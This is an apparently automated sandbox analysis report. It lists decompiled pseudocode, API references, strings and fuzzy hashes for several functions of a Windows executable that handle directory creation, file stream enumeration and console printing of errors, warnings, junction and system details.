0x0123525c
0x0123525c
0x0123525c
0x012352a6
0x00000000
0x012352a6
0x0123520e
0x01235217
0x01235219
0x0123521e
0x00000000
0x00000000
0x00000000
0x0123521e
0x01235210
0x00000000

APIs

__EH_prolog.LIBCMT ref: 012351E4
CreateDirectoryW.KERNEL32(?,00000000,00000000,?,00000000), ref: 01235206
GetLastError.KERNEL32(?,00000000,00000000,?,00000000), ref: 01235217
CreateDirectoryW.KERNEL32(?,00000000,00000000,00000000,?,00000000), ref: 01235252
GetLastError.KERNEL32 ref: 01235260
GetLastError.KERNEL32(00000000,?,00000000), ref: 012352B8

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: ErrorLast$CreateDirectory$H_prolog
String ID:
API String ID: 798237638-0
Opcode ID: 217ad7150ea9666a82b219b493f2f48370320a2d1824360e379cf03655e9daf7
Instruction ID: df75a04e3d2896fe7a12dd7beabed7d6274c5517a135023841238edb829df462
Opcode Fuzzy Hash: 217ad7150ea9666a82b219b493f2f48370320a2d1824360e379cf03655e9daf7
Instruction Fuzzy Hash: 5A3104B1930206DAEF14ABA8DC85BFDBB70AFE1214F044014F60A73191DFB14946DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 01235AE3 Relevance: 9.1, APIs: 6, Instructions: 74
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E01235AE3(intOrPtr* __ecx, void* __eflags) {
				long _t21;
				signed int _t25;
				void* _t34;
				intOrPtr* _t48;
				void* _t50;
				intOrPtr _t57;

				E012639E0(E012645AC, _t50);
				_t48 = __ecx;
				if(E012358AD(__ecx) == 0) {
					L12:
					_t21 = 0;
				} else {
					_t57 =  *0x1274454; // 0x74be42f0
					if(_t57 != 0) {
						SetLastError(0);
						_t34 = E01237553( *((intOrPtr*)(_t50 + 8)));
						if(_t34 != 1) {
							 *_t48 =  *0x1274454( *((intOrPtr*)(_t50 + 8)), 0, _t50 - 0x270, 0);
						}
						if( *_t48 != 0xffffffff) {
							L13:
							E01235BC6(_t50 - 0x270,  *((intOrPtr*)(_t50 + 0xc)));
							_t21 = 1;
						} else {
							if(GetLastError() == 0x26) {
								goto L12;
							} else {
								if(_t34 != 0) {
									_t25 = E012328E9(_t50 - 0x18);
									 *(_t50 - 4) = 0;
									if(E0123765C( *((intOrPtr*)(_t50 + 8)), _t50 - 0x18, _t50, _t25 & 0xffffff00 | _t34 != 0x00000001) != 0) {
										 *_t48 =  *0x1274454( *((intOrPtr*)(_t50 - 0x18)), 0, _t50 - 0x270, 0);
									}
									 *(_t50 - 4) =  *(_t50 - 4) | 0xffffffff;
									E01231ABD(_t27,  *((intOrPtr*)(_t50 - 0x18)));
								}
								if( *_t48 != 0xffffffff) {
									goto L13;
								} else {
									goto L12;
								}
							}
						}
					} else {
						SetLastError(0x78);
						goto L12;
					}
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t50 - 0xc));
				return _t21;
			}

0x01235ae8
0x01235af6
0x01235aff
0x01235ba1
0x01235ba1
0x01235b05
0x01235b07
0x01235b0d
0x01235b1d
0x01235b2b
0x01235b30
0x01235b44
0x01235b44
0x01235b49
0x01235ba5
0x01235bae
0x01235bb3
0x01235b4b
0x01235b54
0x00000000
0x01235b56
0x01235b58
0x01235b5d
0x01235b6f
0x01235b79
0x01235b8d
0x01235b8d
0x01235b92
0x01235b96
0x01235b9b
0x01235b9f
0x00000000
0x00000000
0x00000000
0x00000000
0x01235b9f
0x01235b54
0x01235b0f
0x01235b11
0x00000000
0x01235b11
0x01235b0d
0x01235bbb
0x01235bc3

APIs

__EH_prolog.LIBCMT ref: 01235AE8

Part of subcall function 012358AD: FindClose.KERNEL32(00000000,?,012358E5), ref: 012358B8

SetLastError.KERNEL32(00000078,00000000,?,?), ref: 01235B11
SetLastError.KERNEL32(00000000,00000000,?,?), ref: 01235B1D
FindFirstStreamW.KERNELBASE(?,00000000,?,00000000), ref: 01235B3E
GetLastError.KERNEL32(?,?), ref: 01235B4B
FindFirstStreamW.KERNELBASE(?,00000000,?,00000000), ref: 01235B87

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: ErrorFindLast$FirstStream$CloseH_prolog
String ID:
API String ID: 1050961465-0
Opcode ID: c713132830dd79896624e149671ce48e8ebeccb75a891c64c58b079a19486311
Instruction ID: ed4ff0ef0b433f6de60128c75ca147230863a73ecc34b1647cd5dfcaa70c6089
Opcode Fuzzy Hash: c713132830dd79896624e149671ce48e8ebeccb75a891c64c58b079a19486311
Instruction Fuzzy Hash: DA2137B0410146DFCF34AF64D8899BEBB7AFFD0320F104258E699421D4E7310989DF50

Uniqueness

Uniqueness Score: -1.00%

Function 01261C5E Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 191
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E01261C5E(void* __ebx, void* __ecx, intOrPtr _a4, intOrPtr* _a8, intOrPtr _a12, intOrPtr _a16) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* __edi;
				void* __ebp;
				struct _IO_FILE** _t67;
				struct _IO_FILE** _t72;
				void* _t78;
				void* _t107;
				signed int _t108;
				void* _t109;
				struct _IO_FILE** _t111;
				struct _IO_FILE** _t112;
				void* _t114;
				struct _IO_FILE** _t115;
				intOrPtr _t154;
				void* _t155;
				intOrPtr* _t156;
				void* _t157;
				void* _t158;

				_t107 = __ebx;
				_t157 = __ecx;
				_t114 = __ecx + 8;
				if( *((intOrPtr*)(__ecx + 0xac)) != 0) {
					E0126183F(_t114, 0, 1);
				}
				_v8 = 0;
				if( *((intOrPtr*)(_a8 + 4)) <= 0) {
					L39:
					_t115 =  *(_t157 + 0xb8);
					if(_a16 != 0) {
						__eflags = _t115;
						if(_t115 != 0) {
							E01231C9F(_t115);
						}
						_t67 =  *(_t157 + 0xbc);
						__eflags = _t67;
						if(_t67 == 0) {
							L48:
							return 0;
						} else {
							fputs( *0x126cb98,  *_t67);
							_push(_a12);
							E01231E60( *(_t157 + 0xbc), _t150);
							E01231CAE( *(_t157 + 0xbc));
							_t72 = E0125D3B2( *(_t157 + 0xbc), _a4, _t158, _a8);
							__eflags = _t72;
							if(_t72 != 0) {
								L49:
								return _t72;
							}
							E01231C9F( *(_t157 + 0xbc));
							goto L48;
						}
					}
					if(_t115 == 0) {
						goto L48;
					}
					_t72 = E0125CD30(_t115, _a4, _a8);
					if(_t72 != 0) {
						goto L49;
					}
					E01231CAE( *(_t157 + 0xb8));
					goto L48;
				} else {
					_push(_t107);
					do {
						_t154 =  *((intOrPtr*)( *_a8 + _v8 * 4));
						_v12 = _t154;
						_t155 = _t154 + 0x10;
						_t108 =  *(_t155 + 4);
						if( *((char*)(_t155 + 1)) != 0) {
							_t108 = _t108 | 0x00000020;
						}
						if(_t108 != 0 ||  *((intOrPtr*)(_t155 + 0x1c)) != _t108) {
							_t124 =  *(_t157 + 0xbc);
							if( *(_t157 + 0xbc) != 0) {
								E01231CAE(_t124);
								if(_v8 != 0) {
									_push( *((intOrPtr*)(_v12 + 0x70)));
									E01231CAE(E01231CC1( *(_t157 + 0xbc)));
								}
							}
							if(_t108 != 0) {
								_t147 =  *(_t157 + 0xbc);
								if( *(_t157 + 0xbc) != 0) {
									_t150 = "ERRORS:";
									E0125B09C(_t147, "ERRORS:", _t108);
								}
							}
							if( *((intOrPtr*)(_t155 + 0x1c)) != 0) {
								_t112 =  *(_t157 + 0xbc);
								if(_t112 != 0) {
									_v16 =  *((intOrPtr*)(_t155 + 0x18));
									fputs("ERRORS:",  *_t112);
									E01231CAE(_t112);
									_push(_v16);
									E01231CAE(E01231CC1(_t112));
								}
							}
							_t125 =  *(_t157 + 0xbc);
							if( *(_t157 + 0xbc) != 0) {
								E01231CAE(_t125);
								E01231C9F( *(_t157 + 0xbc));
							}
						}
						_t78 = E0125B66A(_t155);
						_t109 = _t78;
						if(_t109 != 0 ||  *((intOrPtr*)(_t155 + 0x28)) != _t78) {
							_t127 =  *(_t157 + 0xb8);
							if( *(_t157 + 0xb8) != 0) {
								E01231CAE(_t127);
								if(_v8 != 0) {
									_push( *((intOrPtr*)(_v12 + 0x70)));
									E01231CAE(E01231CC1( *(_t157 + 0xb8)));
								}
							}
							if(_t109 != 0) {
								_t138 =  *(_t157 + 0xb8);
								if( *(_t157 + 0xb8) != 0) {
									_t150 = "WARNINGS:";
									E0125B09C(_t138, "WARNINGS:", _t109);
								}
							}
							if( *((intOrPtr*)(_t155 + 0x28)) != 0) {
								_t111 =  *(_t157 + 0xb8);
								if(_t111 != 0) {
									_v16 =  *((intOrPtr*)(_t155 + 0x24));
									fputs("WARNINGS:",  *_t111);
									E01231CAE(_t111);
									_push(_v16);
									E01231CAE(E01231CC1(_t111));
								}
							}
							_t128 =  *(_t157 + 0xb8);
							if( *(_t157 + 0xb8) != 0) {
								E01231CAE(_t128);
								if( *((char*)(_t157 + 0xc1)) != 0) {
									E01231C9F( *(_t157 + 0xb8));
								}
							}
						}
						if( *((intOrPtr*)(_t155 + 0xc)) >= 0) {
							_t130 =  *(_t157 + 0xb8);
							_t156 = _t157 + 0xb8;
							_t183 =  *(_t157 + 0xb8);
							if( *(_t157 + 0xb8) != 0) {
								_t150 = _a4;
								E0125B1E7(_t130, _a4, _t183, _v12);
								if( *((char*)(_t157 + 0xc1)) != 0) {
									E01231C9F( *_t156);
								}
							}
						}
						_v8 = _v8 + 1;
					} while (_v8 <  *((intOrPtr*)(_a8 + 4)));
					goto L39;
				}
			}

0x01261c5e
0x01261c65
0x01261c70
0x01261c73
0x01261c77
0x01261c77
0x01261c7f
0x01261c85
0x01261e53
0x01261e57
0x01261e5d
0x01261e7f
0x01261e81
0x01261e83
0x01261e83
0x01261e88
0x01261e8e
0x01261e90
0x01261edb
0x00000000
0x01261e92
0x01261e9a
0x01261ea2
0x01261eab
0x01261eb6
0x01261ec7
0x01261ecc
0x01261ece
0x01261ee0
0x01261ee0
0x01261ee0
0x01261ed6
0x00000000
0x01261ed6
0x01261e90
0x01261e61
0x00000000
0x00000000
0x01261e69
0x01261e70
0x00000000
0x00000000
0x01261e78
0x00000000
0x01261c8b
0x01261c8b
0x01261c8c
0x01261c94
0x01261c97
0x01261c9a
0x01261ca1
0x01261ca4
0x01261ca6
0x01261ca6
0x01261cab
0x01261cb6
0x01261cbe
0x01261cc0
0x01261cc9
0x01261cd4
0x01261cde
0x01261cde
0x01261cc9
0x01261ce5
0x01261ce7
0x01261cef
0x01261cf2
0x01261cf7
0x01261cf7
0x01261cef
0x01261d00
0x01261d02
0x01261d0a
0x01261d11
0x01261d19
0x01261d23
0x01261d28
0x01261d34
0x01261d34
0x01261d0a
0x01261d39
0x01261d41
0x01261d43
0x01261d4e
0x01261d4e
0x01261d41
0x01261d55
0x01261d5a
0x01261d5e
0x01261d69
0x01261d71
0x01261d73
0x01261d7c
0x01261d87
0x01261d91
0x01261d91
0x01261d7c
0x01261d98
0x01261d9a
0x01261da2
0x01261da5
0x01261daa
0x01261daa
0x01261da2
0x01261db3
0x01261db5
0x01261dbd
0x01261dc4
0x01261dcc
0x01261dd6
0x01261ddb
0x01261de7
0x01261de7
0x01261dbd
0x01261dec
0x01261df4
0x01261df6
0x01261e02
0x01261e0a
0x01261e0a
0x01261e02
0x01261df4
0x01261e13
0x01261e15
0x01261e1b
0x01261e21
0x01261e23
0x01261e28
0x01261e2b
0x01261e37
0x01261e3b
0x01261e3b
0x01261e37
0x01261e23
0x01261e40
0x01261e49
0x00000000
0x01261e52

APIs

fputs.MSVCRT ref: 01261D19

Part of subcall function 0126183F: fputs.MSVCRT ref: 012618A8

fputs.MSVCRT ref: 01261E9A

Part of subcall function 01231C9F: fflush.MSVCRT ref: 01231CA1

fputs.MSVCRT ref: 01261DCC

Part of subcall function 01231CAE: fputc.MSVCRT ref: 01231CB5

Part of subcall function 01231CC1: __EH_prolog.LIBCMT ref: 01231CC6
Part of subcall function 01231CC1: fputs.MSVCRT ref: 01231D39

Strings

WARNINGS:, xrefs: 01261DA5, 01261DC7
ERRORS:, xrefs: 01261CF2, 01261D14

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: fputs$H_prologfflushfputc
String ID: ERRORS:$WARNINGS:
API String ID: 1876658717-3472301450
Opcode ID: 1cb620ad762ea7f3d0c2b72b2d2dc6b3a08cab99e618716d8a87babc6c9b9a21
Instruction ID: 28bf0799b6e7fe22c56b341e4e814d1fca8b9ae1256fe510fc5bc047bbc4b144
Opcode Fuzzy Hash: 1cb620ad762ea7f3d0c2b72b2d2dc6b3a08cab99e618716d8a87babc6c9b9a21
Instruction Fuzzy Hash: 66713474A20706DBEB25EF65C490B797BAAAFD4200F04882DDA16572D0CB30B9A0CB52

Uniqueness

Uniqueness Score: -1.00%

Function 01253D0B Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 145
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E01253D0B(signed int* __ecx, intOrPtr __edx, void* __eflags) {
				signed int _t51;
				signed int _t54;
				signed int _t62;
				signed int _t66;
				signed char _t70;
				void* _t75;
				void* _t76;
				void* _t78;
				signed int* _t84;
				signed char _t85;
				signed int* _t87;
				void* _t112;
				signed int _t115;
				signed int _t119;
				signed int _t121;
				signed int _t122;
				void* _t123;

				E012639E0(E012667B8, _t123);
				_t115 =  *(_t123 + 8);
				_t84 = __ecx;
				 *((intOrPtr*)(_t123 - 0x10)) = __edx;
				 *((intOrPtr*)(_t115 + 4)) = 0;
				 *((short*)( *_t115)) = 0;
				E0123FB2F(_t123 - 0x48, __eflags);
				 *(_t123 - 4) = 0;
				 *((intOrPtr*)(_t123 - 0x14)) = 0;
				if(E01236C0B(_t123 - 0x48, __ecx,  *((intOrPtr*)(_t123 - 0x10)), _t123 - 0x14) == 0) {
					__eflags =  *((intOrPtr*)(_t123 - 0x10)) - 8;
					if( *((intOrPtr*)(_t123 - 0x10)) >= 8) {
						_t119 = _t84[1] & 0x0000ffff;
						_t51 =  *_t84;
						 *(_t123 - 0x18) = _t119;
						 *(_t123 + 8) = _t51;
						__eflags = _t119 + 8 -  *((intOrPtr*)(_t123 - 0x10));
						if(_t119 + 8 >  *((intOrPtr*)(_t123 - 0x10))) {
							goto L6;
						}
						__eflags = _t84[1];
						if(_t84[1] != 0) {
							goto L6;
						}
						_push(_t51);
						_t112 = 0x12;
						_t54 = E01253BDB(0x1269ef0, _t112);
						__eflags = _t54;
						if(_t54 < 0) {
							E01232CAD(_t115, "REPARSE:");
							E012316CE( *(_t123 + 8), _t123 - 0x28);
							_push(_t123 - 0x28);
						} else {
							_push( *((intOrPtr*)(0x1269ef4 + _t54 * 8)));
						}
						E01232CAD(_t115);
						E01232CAD(_t115, ":");
						E01232D06(_t115, _t119);
						__eflags = _t119;
						if(_t119 == 0) {
							L23:
							_t85 = 1;
							L24:
							 *(_t123 - 4) =  *(_t123 - 4) | 0xffffffff;
							E0125C31B(_t123 - 0x48);
							 *[fs:0x0] =  *((intOrPtr*)(_t123 - 0xc));
							return _t85;
						} else {
							E01232BF6();
							 *(_t123 + 8) =  *(_t123 + 8) & 0x00000000;
							_t87 =  &(_t84[2]);
							__eflags = _t119;
							if(_t119 <= 0) {
								goto L23;
							} else {
								goto L14;
							}
							while(1) {
								L14:
								_t62 =  *(_t123 + 8);
								__eflags = _t62 - 8;
								if(_t62 >= 8) {
									break;
								}
								_t121 =  *(_t87 + _t62) & 0x000000ff;
								_t66 = _t121 >> 0x00000004 & 0x0000000f;
								__eflags = _t66 - 0xa;
								if(_t66 >= 0xa) {
									_t67 = _t66 + 0x37;
									__eflags = _t66 + 0x37;
								} else {
									_t67 = _t66 + 0x30;
								}
								E01231089(_t115, _t67 & 0x000000ff);
								_t122 = _t121 & 0x0000000f;
								__eflags = _t122 - 0xa;
								_t70 = _t122 + 0x30;
								if(_t122 >= 0xa) {
									_t70 = _t122 + 0x37;
								}
								E01231089(_t115, _t70 & 0x000000ff);
								 *(_t123 + 8) =  *(_t123 + 8) + 1;
								__eflags =  *(_t123 + 8) -  *(_t123 - 0x18);
								if( *(_t123 + 8) <  *(_t123 - 0x18)) {
									continue;
								} else {
									goto L23;
								}
							}
							E01232CAD(_t115, "...");
							goto L23;
						}
					}
					L6:
					_t85 = 0;
					goto L24;
				}
				_t130 =  *((intOrPtr*)(_t123 - 0x48)) - 0xa000000c;
				if( *((intOrPtr*)(_t123 - 0x48)) != 0xa000000c) {
					E01232CAD(_t115, "Junction: ");
				}
				_push(_t123 - 0x24);
				_t75 = E01236DAA(_t123 - 0x48, _t130);
				 *(_t123 - 4) = 1;
				_t76 = E01232C71(_t115, _t130, _t75);
				 *(_t123 - 4) =  *(_t123 - 4) & 0x00000000;
				E01231ABD(_t76,  *((intOrPtr*)(_t123 - 0x24)));
				_t78 = E01236D46(_t123 - 0x48, _t130);
				_t131 = _t78;
				if(_t78 == 0) {
					E01232CAD(_t115, " : ");
					E01232C71(_t115, _t131, _t123 - 0x34);
				}
				goto L23;
			}

0x01253d10
0x01253d1b
0x01253d1e
0x01253d24
0x01253d27
0x01253d2d
0x01253d30
0x01253d3c
0x01253d42
0x01253d4d
0x01253db5
0x01253db9
0x01253dc2
0x01253dc6
0x01253dc8
0x01253dce
0x01253dd1
0x01253dd4
0x00000000
0x00000000
0x01253dd6
0x01253ddb
0x00000000
0x00000000
0x01253ddd
0x01253de0
0x01253de6
0x01253deb
0x01253ded
0x01253dff
0x01253e0a
0x01253e12
0x01253def
0x01253def
0x01253def
0x01253e15
0x01253e21
0x01253e29
0x01253e2e
0x01253e30
0x01253ea4
0x01253ea4
0x01253ea6
0x01253ea6
0x01253ead
0x01253eba
0x01253ec2
0x01253e32
0x01253e34
0x01253e39
0x01253e3d
0x01253e40
0x01253e42
0x00000000
0x00000000
0x00000000
0x00000000
0x01253e44
0x01253e44
0x01253e44
0x01253e47
0x01253e4a
0x00000000
0x00000000
0x01253e4c
0x01253e55
0x01253e58
0x01253e5b
0x01253e62
0x01253e62
0x01253e5d
0x01253e5d
0x01253e5d
0x01253e6c
0x01253e71
0x01253e74
0x01253e77
0x01253e7a
0x01253e7c
0x01253e7c
0x01253e86
0x01253e8b
0x01253e91
0x01253e94
0x00000000
0x01253e96
0x00000000
0x01253e96
0x01253e94
0x01253e9f
0x00000000
0x01253e9f
0x01253e30
0x01253dbb
0x01253dbb
0x00000000
0x01253dbb
0x01253d4f
0x01253d56
0x01253d5f
0x01253d5f
0x01253d6a
0x01253d6b
0x01253d73
0x01253d77
0x01253d7c
0x01253d83
0x01253d8c
0x01253d91
0x01253d93
0x01253da0
0x01253dab
0x01253dab
0x00000000

APIs

__EH_prolog.LIBCMT ref: 01253D10

Part of subcall function 0123FB2F: __EH_prolog.LIBCMT ref: 0123FB34

Strings

Junction: , xrefs: 01253D58
: , xrefs: 01253D99
..., xrefs: 01253E98
REPARSE:, xrefs: 01253DF8

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: H_prolog
String ID: : $...$Junction: $REPARSE:
API String ID: 3519838083-1476144188
Opcode ID: cd5dd0005b3740c612a1082ea6c0034602f54af31be6cfa89fde6fe8ab0ba24c
Instruction ID: 4d1729ee93ed8190bf85511203e53aaaec807dd59c696ee7a73589d4ba98918c
Opcode Fuzzy Hash: cd5dd0005b3740c612a1082ea6c0034602f54af31be6cfa89fde6fe8ab0ba24c
Instruction Fuzzy Hash: 3D41B2B1A3011AABCF55EB54C8D4AFDBBB9FFE4380F044409EC02A7281DB749A56DB51

Uniqueness

Uniqueness Score: -1.00%

Function 01243454 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 140
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E01243454(void* __ecx, signed short* __edx, void* __eflags) {
				void* __ebx;
				void* _t30;
				void* _t31;
				intOrPtr _t33;
				signed int _t42;
				void* _t43;
				void* _t54;
				void* _t62;
				signed int _t97;
				intOrPtr* _t102;
				signed int _t104;
				void* _t106;
				void* _t111;

				_t111 = __eflags;
				E012639E0(E01265334, _t106);
				_t102 = __edx;
				_t62 = __ecx;
				_t30 = E0124362A(_t106 - 0x20, 0x12691bc, 0xe,  *__edx & 0x0000ffff);
				 *(_t106 - 4) =  *(_t106 - 4) & 0x00000000;
				_t31 = E0123251D(_t62, _t111, _t30);
				 *(_t106 - 4) =  *(_t106 - 4) | 0xffffffff;
				E01231ABD(_t31,  *((intOrPtr*)(_t106 - 0x20)));
				_t33 =  *_t102;
				if(_t33 != 0 ||  *((intOrPtr*)(_t102 + 0x18)) != 0x24a) {
					if(_t33 != 9 ||  *((intOrPtr*)(_t102 + 0x18)) != 0x21d8) {
						E012324DB(_t62, " ");
						E0123254B(_t62,  *((intOrPtr*)(_t102 + 0x18)));
					}
				}
				E012324DB(_t62, " ");
				asm("cdq");
				E01242E26(_t62,  *(_t102 + 0x20) & 0x0000ffff, 0x12691bc);
				E012324DB(_t62, ".");
				asm("cdq");
				E01242E26(_t62,  *(_t102 + 0x22) & 0x0000ffff, 0x12691bc);
				_t97 =  *((intOrPtr*)(_t102 + 0x10)) + 1;
				_t42 = 0;
				asm("adc eax, eax");
				 *(_t106 - 0x10) = _t42;
				_t43 = 1;
				if(_t97 != E01263D40(_t43,  *((intOrPtr*)(_t102 + 0x14)), 0) ||  *(_t106 - 0x10) != 0) {
					if((_t97 |  *(_t106 - 0x10)) != 0 ||  *((intOrPtr*)(_t102 + 0x14)) != 0x40) {
						E012324DB(_t62, " act:");
						E01242E26(_t62,  *((intOrPtr*)(_t102 + 0x10)), 0);
					}
				}
				E012324DB(_t62, " cpus:");
				E0123254B(_t62,  *((intOrPtr*)(_t102 + 0x14)));
				if( *((intOrPtr*)(_t102 + 4)) != 0x1000) {
					E012324DB(_t62, " page:");
					E012435FC(_t62,  *((intOrPtr*)(_t102 + 4)));
				}
				if( *((intOrPtr*)(_t102 + 0x1c)) != 0x10000) {
					E012324DB(_t62, " gran:");
					E012435FC(_t62,  *((intOrPtr*)(_t102 + 0x1c)));
				}
				E012324DB(_t62, " ");
				_t50 =  *((intOrPtr*)(_t102 + 8));
				_t104 =  *((intOrPtr*)(_t102 + 0xc)) + 1;
				asm("adc edi, edi");
				if( *((intOrPtr*)(_t102 + 8)) == 0x10000) {
					__eflags = _t104 & 0x0000ffff;
					if((_t104 & 0x0000ffff) == 0) {
						_t104 = _t104 + 0x10000;
						asm("adc edi, edx");
					}
				} else {
					E01242EA0(_t62, _t62, _t50, 0);
					E012324DB(_t62, 0x12686f0);
				}
				_t54 = E01242EA0(_t62, _t62, _t104, 0);
				 *[fs:0x0] =  *((intOrPtr*)(_t106 - 0xc));
				return _t54;
			}

0x01243454
0x01243459
0x01243463
0x01243466
0x01243476
0x0124347b
0x01243482
0x01243487
0x0124348e
0x01243493
0x0124349a
0x012434a9
0x012434bb
0x012434c5
0x012434c5
0x012434a9
0x012434d1
0x012434da
0x012434df
0x012434eb
0x012434f4
0x012434f9
0x01243506
0x01243509
0x0124350a
0x0124350e
0x01243511
0x0124351b
0x01243525
0x01243534
0x01243540
0x01243540
0x01243525
0x0124354c
0x01243556
0x01243562
0x0124356b
0x01243575
0x01243575
0x01243581
0x0124358a
0x01243594
0x01243594
0x012435a0
0x012435a5
0x012435ad
0x012435b5
0x012435b9
0x012435dc
0x012435de
0x012435e0
0x012435e2
0x012435e2
0x012435bb
0x012435c0
0x012435cc
0x012435cc
0x012435e8
0x012435f3
0x012435fb

APIs

__EH_prolog.LIBCMT ref: 01243459

Part of subcall function 01231ABD: free.MSVCRT(00000000,0124C91D,00000001,00000001,?,?,012310EB,?,00000000), ref: 01231AC1

Strings

gran:, xrefs: 01243583
act:, xrefs: 0124352D
cpus:, xrefs: 01243545
page:, xrefs: 01243564

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: H_prologfree
String ID: act:$ cpus:$ gran:$ page:
API String ID: 1978129608-454015223
Opcode ID: 33b941b33af1aff29eb790e52dc6de6379750838a63ffa346debde1e0a0352f5
Instruction ID: b98e067223f2fe0da4dbcdf1e5ab445bf9662df7ab7ec8cadec04cc9824beeb4
Opcode Fuzzy Hash: 33b941b33af1aff29eb790e52dc6de6379750838a63ffa346debde1e0a0352f5
Instruction Fuzzy Hash: 554193B1720712DBDF3CEF29AC506BE72B6FBD4614F00493DA643966C1CE7498C48690

Uniqueness

Uniqueness Score: -1.00%

Function 0125BCE4 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 118
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0125BCE4(intOrPtr __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12, signed int _a16, char _a20) {
				signed int _v8;
				intOrPtr _v12;
				char _v47;
				char _v60;
				char _v252;
				int _t58;
				void* _t63;
				int _t65;
				char** _t76;
				void* _t89;
				signed int _t90;
				signed int _t91;
				void* _t104;
				intOrPtr* _t108;
				void* _t109;
				intOrPtr _t112;
				void* _t113;
				intOrPtr _t115;
				void* _t118;

				_t112 = __ecx;
				_v12 = __ecx;
				E0125BC65(__ecx + 8);
				_t108 = _a12;
				_t76 = __ecx + 0x124;
				_v8 = 0;
				_t76[1] = 0;
				 *( *(__ecx + 0x124)) =  *( *(__ecx + 0x124)) & 0;
				if( *((intOrPtr*)(_t108 + 4)) <= 0) {
					L7:
					if( *((char*)(_t112 + 0x132)) != 0) {
						E012324BF();
						_t113 =  &_v60;
						if(_a20 == 0) {
							_t104 = 0xd;
							E0125BE50( &_v60, _t104);
						} else {
							_t113 =  &_v47;
							E012315CA( &_v47, _a4, _a8);
							_t58 = strlen( &_v47);
							_t89 = 0xd;
							_t90 = _t89 - _t58;
							if(_t90 > 0) {
								_t113 =  &_v47 - _t90;
								if(_t90 > 0) {
									_t109 = _t113;
									_t91 = _t90 >> 2;
									memset(_t109 + _t91, memset(_t109, 0x20202020, _t91 << 2), (_t90 & 0x00000003) << 0);
								}
							}
						}
						E012324DB(_t76, _t113);
						_t112 = _v12;
					}
					if( *((char*)(_t112 + 0x133)) != 0) {
						E012324BF();
						E012324BF();
					}
					return fputs( *_t76,  *( *(_t112 + 0xb8)));
				} else {
					goto L1;
				}
				do {
					L1:
					_t115 =  *((intOrPtr*)( *_t108 + _v8 * 4));
					_v252 = _v252 & 0x00000000;
					if(_a20 != 0) {
						E0124AE6D( &_v252, (_a16 << 6) + _t115 + 0x14,  *((intOrPtr*)(_t115 + 0x10)));
					}
					_t63 = E0125BB17( *((intOrPtr*)(_t115 + 0x10)));
					_t65 = strlen( &_v252);
					E0125BE50(_t118 + strlen( &_v252) - 0xf8, _t63 - _t65);
					if(_v8 != 0) {
						E012324BF();
					}
					E012324DB(_t76,  &_v252);
					_v8 = _v8 + 1;
				} while (_v8 <  *((intOrPtr*)(_t108 + 4)));
				_t112 = _v12;
				goto L7;
			}

0x0125bcef
0x0125bcf2
0x0125bcf8
0x0125bd03
0x0125bd06
0x0125bd0e
0x0125bd11
0x0125bd14
0x0125bd19
0x0125bdad
0x0125bdb4
0x0125bdb8
0x0125bdc1
0x0125bdc4
0x0125be0f
0x0125be10
0x0125bdc6
0x0125bdcc
0x0125bdd2
0x0125bddb
0x0125bde3
0x0125bde4
0x0125bde8
0x0125bded
0x0125bdf1
0x0125bdfa
0x0125bdfc
0x0125be06
0x0125be06
0x0125bdf1
0x0125bde8
0x0125be18
0x0125be1d
0x0125be1d
0x0125be27
0x0125be2b
0x0125be32
0x0125be32
0x0125be4d
